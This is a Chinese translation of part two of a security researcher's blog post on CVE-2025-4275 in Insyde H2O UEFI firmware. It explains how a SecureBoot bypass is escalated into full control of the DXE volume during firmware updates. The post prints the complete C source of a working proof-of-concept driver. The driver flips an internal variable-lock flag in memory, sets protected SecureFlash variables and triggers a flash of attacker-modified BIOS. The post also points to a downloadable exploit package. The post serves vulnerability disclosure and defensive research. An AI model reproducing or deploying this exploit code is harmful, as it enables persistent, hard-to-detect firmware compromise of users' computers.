本文将再次深入探讨我称之为 Hydroph0bia(取自 Insyde H2O 的谐音梗)的漏洞,即 CVE-2025-4275 或 INSYDE-SA-2025002。这一部分将介绍如何从单纯的 SecureBoot 绕过升级为固件更新期间的任意代码执行,进而完全控制 DXE 卷。
如果你对这里发生的事情感到困惑,请先阅读第 1 部分。已经读过了?很好,我们继续。
前文中我们了解到,通过设置包含我们自定义证书的 SecureFlashSetupMode和 SecureFlashCertData变量(采用 EFI_SIGNATURE_LIST 格式),可以让 BdsDxe将我们签名的可执行文件视为 Insyde 官方代码。
这意味着我们不仅能在只允许 Insyde 第一方代码运行的启动模式下执行,还能伪装成固件更新程序。但我们的目标不是更新固件,而是对未受 Intel BootGuard(或类似 AMD 技术)或 Insyde FlashDeviceMap 哈希保护的固件部分进行任意修改。由于 UEFITool NE A70 原生支持 FDM 解析,在对目标固件发起攻击前,你可以先检查 DXE 卷是否允许修改,否则需要寻找其他利用途径。
良好防护(Lenovo IdeaPad 5 Pro 16IAH7):
防护缺失(HUAWEI MateBook 14 2023):
我们的测试固件并未对 DXE 卷实施哈希保护,因此如果能够成功伪装成固件更新程序,我们就能完全接管该卷并为所欲为。
让我们来看看 Insyde H2O 的固件更新子系统是如何运作的:
如图所示,LoadCertificateToVariable返回的错误不会影响 LoadImage调用,因此如果我们使用第 1 部分中的 SFCD工具来遮蔽 SecureFlashCertData变量,该变量应该能被 LoadImage成功使用,我们的自定义证书签名的 isflash.bin应该能启动,漏洞利用应该就能完成。
当然,首次尝试如预期般失败了,原因是 BdsDxe中出现了之前没有的健全性检查,甚至可能是针对我们攻击的朴素防御措施。
原来 Insyde 决定首先在 SecureFlashCertData上调用 SetVariable,以删除所有普通 NVRAM 变量(包括易失性和非易失性)。然而,得益于 UEFI SecureBoot,这里又有两种特殊类型的变量不属于普通变量,不会被此调用删除——已弃用的旧式认证写入(AW)和新式的基于时间的认证写入(TA)。
早在 2000 年代,Intel(以及后来围绕 EFI 成立的 UEFI 论坛)决定为 UEFI 变量服务提供参考实现,但并未强制要求使用(通过不将其纳入 UEFI 平台接口规范)。这导致了多个完全不同的 NVRAM 实现,各自都有独特的问题和特殊行为。在这里,我们需要深入研究 Insyde H2O 的实现细节,以了解如何设置自定义特殊变量并确保它们不会被意外的 SetVariable调用删除。
Insyde 在 VariableRuntimeDxe驱动中实现 UEFI 变量服务,该驱动因位于 DXE Apriori File(一个包含对 DXE 至关重要的驱动列表,核心会在常规调度前启动它们)中而在 DXE 阶段极早启动。
VariableRuntimeDxe是个庞大的驱动,逆向工程难度很高,这部分确实相当有趣,但经过大约两周的反汇编和反编译工作,我发现了以下情况:
这让我们陷入一个有趣的困境:如果能在 BdsDxe 之前运行,我们就能将 SecureFlashCertData设置为特殊的 Insyde AW 变量,但我们的回调是由 BdsDxe 执行的,因此我们陷入了鸡生蛋、蛋生鸡的僵局。
现在我们需要研究 VariableRuntimeDxe如何"禁用 AW 变量设置支持",看看能否阻止这种行为或以某种方式逆转这一决定。挂钩 BdsArchProtocol->Entry有多种方法,大多数情况下可以通过搜索 BDS_ARCH_PROTOCOL_GUID 的使用来找到挂钩:
然后我们可以立即看到正在注册的挂钩:
以及将替代原始 BdsArchProtocol->Entry的函数:
可见,阻止我们设置自定义 Insyde AW 变量的唯一障碍是 VariableRuntimeDxe内部的一个全局标志,我们需要找到它并将其从 1 翻转为 0(姑且称之为 InsydeVariableLock)。由于 VariableRuntimeDxe启动极早,它几乎总是(虽然不确定所有情况,但在我测试的每个固件中都如此)第一个挂钩 BdsArchProtocol->Entry的驱动,这意味着协议发布后,我们的挂钩将是最后一个(因为它们按 LIFO 顺序处理),因此如果我们从前面讨论的回调中定位 BdsArchProtocol,那里的 BdsArchProtocol->Entry必然就是我们的 CustomBdsEntry。
要触发固件更新流程,我们需要以某种方式绕过 VariableLockProtocol对 SecureFlashInfo变量的写保护。Intel 对该协议的预期功能如下:
变量锁定协议与 EDK II 特定的变量实现相关,旨在作为在 EFI_END_OF_DXE_EVENT_GUID 事件信号发出后将变量标记为只读的手段。
在 UEFI 领域,这通常是彻头彻尾的谬论,因为 VariableLock 的主要用途之一是锁定 Setup变量,但在 EndOfDxe 时锁定会导致 BIOS 设置应用程序无法使用。实际上,BdsDxe在将控制权转移给引导加载程序之前会锁定所有被 VariableLockProtocol->RequestToLock标记的变量,这个时机对所有非引导加载程序类型的外部可执行文件来说已经足够晚,它们此时都已执行完毕。我们暂时不想涉及 OptionROMs,但还有另一种在 BDS 早期运行 UEFI 驱动的隐晦机制——DriverXXXX:
每个 Driver#### 变量包含一个 EFI_LOAD_OPTION。每个加载选项变量都附加一个唯一的数字,例如 Driver0001、Driver0002 等。
DriverOrder 变量包含一个 UINT16 数组,该数组构成了 Driver#### 变量的有序列表。数组中的第一个元素是第一个逻辑驱动程序加载选项的值,第二个元素是第二个逻辑驱动程序加载选项的值,依此类推。DriverOrder 列表被固件的引导管理器用作应显式加载的 UEFI 驱动程序的默认加载顺序。
如果我们将代码置入 UEFI 驱动并为其配置 DriverXXXX,它将在 VariableLock 生效前运行,从而有效绕过锁定机制。在现代 UEFI Shell 中使用 bcfg driver add命令即可轻松完成此操作,而得益于允许我们无视 SecureBoot 状态运行任意内容的漏洞,我们能够执行自己的驱动程序和 UEFI Shell。
我已经具备一些 UEFI 驱动开发经验,因此这部分对我而言相对简单。如果你想学习此类驱动的编写方法,UEFI 驱动编写指南涵盖了大量内容,你也可以参考开源 UEFI 驱动如 CrScreenshotDxe 获取灵感。
以下是我们驱动的完整源代码:
#include<Uefi.h>#include<Library/UefiDriverEntryPoint.h>#include<Library/UefiBootServicesTableLib.h>#include<Library/UefiRuntimeServicesTableLib.h>#include<Protocol/Bds.h>#pragma pack(push, 1)typedefstruct { UINT32 ImageSize; UINT64 ImageAddress; BOOLEAN SecureFlashTrigger; BOOLEAN ProcessingRequired;} SECURE_FLASH_INFO;typedefstruct { UINT8 Byte48; UINT8 Byte8B; UINT8 Byte05; UINT32 RipOffset; UINT8 ByteC6; UINT8 Byte80; UINT32 RaxOffset; UINT8 Value;} VARIABLE_RUNTIME_BDS_ENTRY_HOOK;#pragma pack(pop)#define WIN_CERT_TYPE_EFI_GUID 0x0EF1STATIC UINT8 VariableBuffer[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MonotonicCount0x00, 0x00, 0x00, 0x00, //AuthInfo.Hdr.dwLength0x00, 0x00, //AuthInfo.Hdr.wRevision0x00, 0x00, //AuthInfo.Hdr.wCertificateType0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData// Certificate in EFI_CERTIFICATE_LIST format0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15, ...0xb4, 0xf5, 0x2d, 0x68, 0xe8};UINTN VariableSize = 48 + 857;EFI_GUID gSecureFlashVariableGuid = { 0x382af2bb, 0xffff, 0xabcd, {0xaa, 0xee, 0xcc, 0xe0, 0x99, 0x33, 0x88, 0x77} };EFI_GUID gInsydeSpecialVariableGuid = { 0xc107cfcf, 0xd0c6, 0x4590, {0x82, 0x27, 0xf9, 0xd7, 0xfb, 0x69, 0x44 ,0xb4} };EFI_STATUSEFIAPISetCertAsInsydeSpecialVariable( VOID ){ EFI_STATUS Status; UINT32 Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS | EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS; EFI_VARIABLE_AUTHENTICATION *CertData = (EFI_VARIABLE_AUTHENTICATION *)VariableBuffer; CertData->AuthInfo.Hdr.dwLength = VariableSize; CertData->AuthInfo.Hdr.wRevision = 0x0200; CertData->AuthInfo.Hdr.wCertificateType = WIN_CERT_TYPE_EFI_GUID; gBS->CopyMem(&CertData->AuthInfo.CertType, &gInsydeSpecialVariableGuid, sizeof(EFI_GUID)); Status = gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, Attributes, VariableSize, VariableBuffer );return Status;}EFI_STATUSEFIAPISecureFlashPoCEntry( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ){ EFI_STATUS Status; SECURE_FLASH_INFO SecureFlashInfo; UINT32 Attributes; UINTN Size = 0;//// This driver needs to do the following:// 1. Add AW attribute to SecureFlashCertData variable that is already set as NV+BS+RT// This will ensure that SecureFlashDxe driver will fail to remove it// 2. Set SecureFlashTrigger=1 in SecureFlashInfo variable,// that should have been write-protected by EfiVariableLockProtocol, but isn't,// because we are running from Driver0000 before ReadyToBoot event is signaled.// This will ensure that SecureFlashPei and other relevant drivers will not enable// flash write protections, and SecureFlashDxe will register a handler// that will ultimately LoadImage/StartImage our payload stored in EFI/Insyde/isflash.bin//// All further cleanup can be done after getting control from SecureFlashDxe.//// All variables used for exploitation will be cleaned// by the virtue of not having them in the modified BIOS region//// Locate BDS arch protocol EFI_BDS_ARCH_PROTOCOL *Bds = NULL; Status = gBS->LocateProtocol(&gEfiBdsArchProtocolGuid, NULL, (VOID**) &Bds);if (EFI_ERROR(Status)) { gRT->SetVariable(L"SecureFlashPoCError1", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);return Status; }// The function pointer we have at Bds->BdsEntry points to the very top of the hook chain, we need to search it// for the following:// 48 8B 05 XX XX XX XX ; mov rax, cs:GlobalVariableArea// C6 80 CD 00 00 00 01 ; mov byte ptr [rax + 0CDh], 1 ; Locked = TRUE;// 48 FF 25 YY YY YY YY ; jmp cs:OriginalBdsEntry// Read bytes from memory at Bds->Entry until we encounter 48 FF 25 pattern UINT8* Ptr = (UINT8*)Bds->Entry;while (Ptr[Size] != 0x48 || Ptr[Size+1] != 0xFF || Ptr[Size+2] != 0x25) { Size++;if (Size == 0x100) break; // Put a limit to memory read in case it all fails }if (Size == 0x100) { gRT->SetVariable(L"SecureFlashPoCError2", &gSecureFlashVariableGuid, 7, Size, Ptr);return EFI_NOT_FOUND; }// VariableRuntimeDxe is loaded from AprioriDxe before all the other drivers that could have hooked Bds->Entry, to our hook will be the very firstif (Size != sizeof(VARIABLE_RUNTIME_BDS_ENTRY_HOOK)) { gRT->SetVariable(L"SecureFlashPoCError3", &gSecureFlashVariableGuid, 7, Size, Ptr);return EFI_NOT_FOUND; }// It is indeed the very first one, proceed VARIABLE_RUNTIME_BDS_ENTRY_HOOK *Hook = (VARIABLE_RUNTIME_BDS_ENTRY_HOOK*)Bds->Entry;// Make sure we have all expected bytes at expected offsetsif (Hook->Byte48 != 0x48 || Hook->Byte8B != 0x8B || Hook->Byte05 != 0x05 || Hook->ByteC6 != 0xC6 || Hook->Byte80 != 0x80) { gRT->SetVariable(L"SecureFlashPoCError4", &gSecureFlashVariableGuid, 7, Size, Ptr);return EFI_NOT_FOUND; }// Check the current value of InsydeVariableLock EFI_PHYSICAL_ADDRESS VariableRuntimeDxeGlobals = *(EFI_PHYSICAL_ADDRESS*)(Ptr + 7 + Hook->RipOffset); // 7 bytes is for the 48 8B 05 XX XX XX XX bytes of first instruction UINT8* InsydeVariableLock = (UINT8*)(VariableRuntimeDxeGlobals + Hook->RaxOffset);// Flip it to 0 if it was 1if (*InsydeVariableLock == 1) { *InsydeVariableLock = 0; }// Bail if it's something elseelse { gRT->SetVariable(L"SecureFlashPoCError5", &gSecureFlashVariableGuid, 7, sizeof(UINT8), &InsydeVariableLock);return EFI_NOT_FOUND; }// Try removing the current NV+BS+RT certificate variable (it might already be set as AW, removal will fail in this case) Status = gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 0, 0, NULL);if (!EFI_ERROR(Status)) {// Try setting it as special NV+BS+RT+AW variable Status = SetCertAsInsydeSpecialVariable();if (EFI_ERROR(Status)) { gRT->SetVariable(L"SecureFlashPoCError6", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);// Set certificate variable back as NV+BS+RT, this will allow to try again next boot gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 7, VariableSize - 48, VariableBuffer + 48);return Status; } }// Check if we need to trigger SecureFlash boot, or it was already triggered Size = sizeof(SecureFlashInfo); Status = gRT->GetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, &Attributes, &Size, &SecureFlashInfo);if (!EFI_ERROR(Status)) {if (SecureFlashInfo.SecureFlashTrigger == 0) {// Fill new SecureFlashInfo gBS->SetMem(&SecureFlashInfo, sizeof(SecureFlashInfo), 0); SecureFlashInfo.SecureFlashTrigger = 1; // Trigger secure flash on next reboot SecureFlashInfo.ImageSize = 1112568; // Size of our isflash.bin payload// Set the variable to initiate secure flash gRT->SetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, 7, sizeof(SecureFlashInfo), &SecureFlashInfo);// Reset the system to initiate update gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); } }return EFI_SUCCESS;}
现在我们终于能够将原始的 isflash.bin替换为自己的有趣内容,并在闪存未受写保护时于固件更新过程中执行。让我们来点精彩的演示!
一切准备就绪,剩下的就是用一些简单的 UEFI Shell 脚本将所有组件整合,构建并签名所有内容,然后以管理员权限从 Windows 运行 sfpoc.cmd。我使用自定义证书签名的 Intel Flash Programming Tool 16.0 来写入修改后的 BIOS 镜像,我们的修改很简单——将默认的 BGRT 启动图形(显示 HUAWEI)替换为我们自己的图像(显示 ALL YOUR BASE ARE BELONG TO US)。
YouTube 上的概念验证: https://www.youtube.com/watch?v=1uJF44S0LQw
事实上,DXE 卷现在完全受我们控制,因此我们可以添加任何类型的有用或恶意驱动程序,修改原始驱动以移除 WiFi 卡白名单、开启隐藏的 BIOS 设置,等等。
该概念验证在很大程度上与 OEM 无关,因此如果你的 PC 制造商选择使用 Insyde 固件更新子系统而非自研方案,且你的 BIOS 构建于 2025-06-10 之前,那么你的设备很可能存在此漏洞。可能需要签名不同版本的 FPT,当然还要提供你自己修改的 BIOS 区域文件,或许还需要在第二个 startup.nsh中添加重置操作(因为并非所有固件都会在将控制权转移给 isflash.bin前启动看门狗),但除此之外都应该像这里演示的一样正常工作。
我还有几个假设需要验证,包括从我们的驱动中使用 VariableLockProtocol 或以其他方式使 SecureFlashCertData不可删除而无需绕过挂钩,因为事实证明即使在固件更新模式下,DriverXXXX 加载选项仍会被处理(尽管只有那些用 SecureFlashCertData中证书签名的选项)。
另一个选择是在我们的驱动中定位 EfiBlockDeviceProtocol 并直接写入闪存,绕过在 isflash.bin阶段除重置外的任何操作。这将使攻击几乎不可见(类似于内存训练错误,经历多次重置后黑屏,然后"正常"启动)。
在第 3 部分中,我们将探讨 Insyde 如何修复我报告的问题,以及是否能对"修复"后的代码采取措施以重新获得这些能力。到目前为止我还没看到任何修复 Hydroph0bia 的 BIOS 更新,因此当 OEM 完成他们的工作时,相关内容将会编写并发布。敬请关注!
适用于X为 MateBook 14 2023 的 PoC 包、修改后的 BIOS 区域镜像、SecureFlashPoC 驱动源代码和自定义证书签名的二进制文件,以及自定义证书签名的 Intel FPT 16.0 均可在 GitHub 上获取。
翻译自:Hydroph0bia (CVE-2025-4275) - a bit more than just a trivial SecureBoot bypass for UEFI-compatible firmware based on Insyde H2O, part 2
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
原文始发于微信公众号(securitainment):CVE-2025-4275 - 不仅仅是基于 Insyde H2O 的 UEFI 固件 SecureBoot 绕过 第 2 部分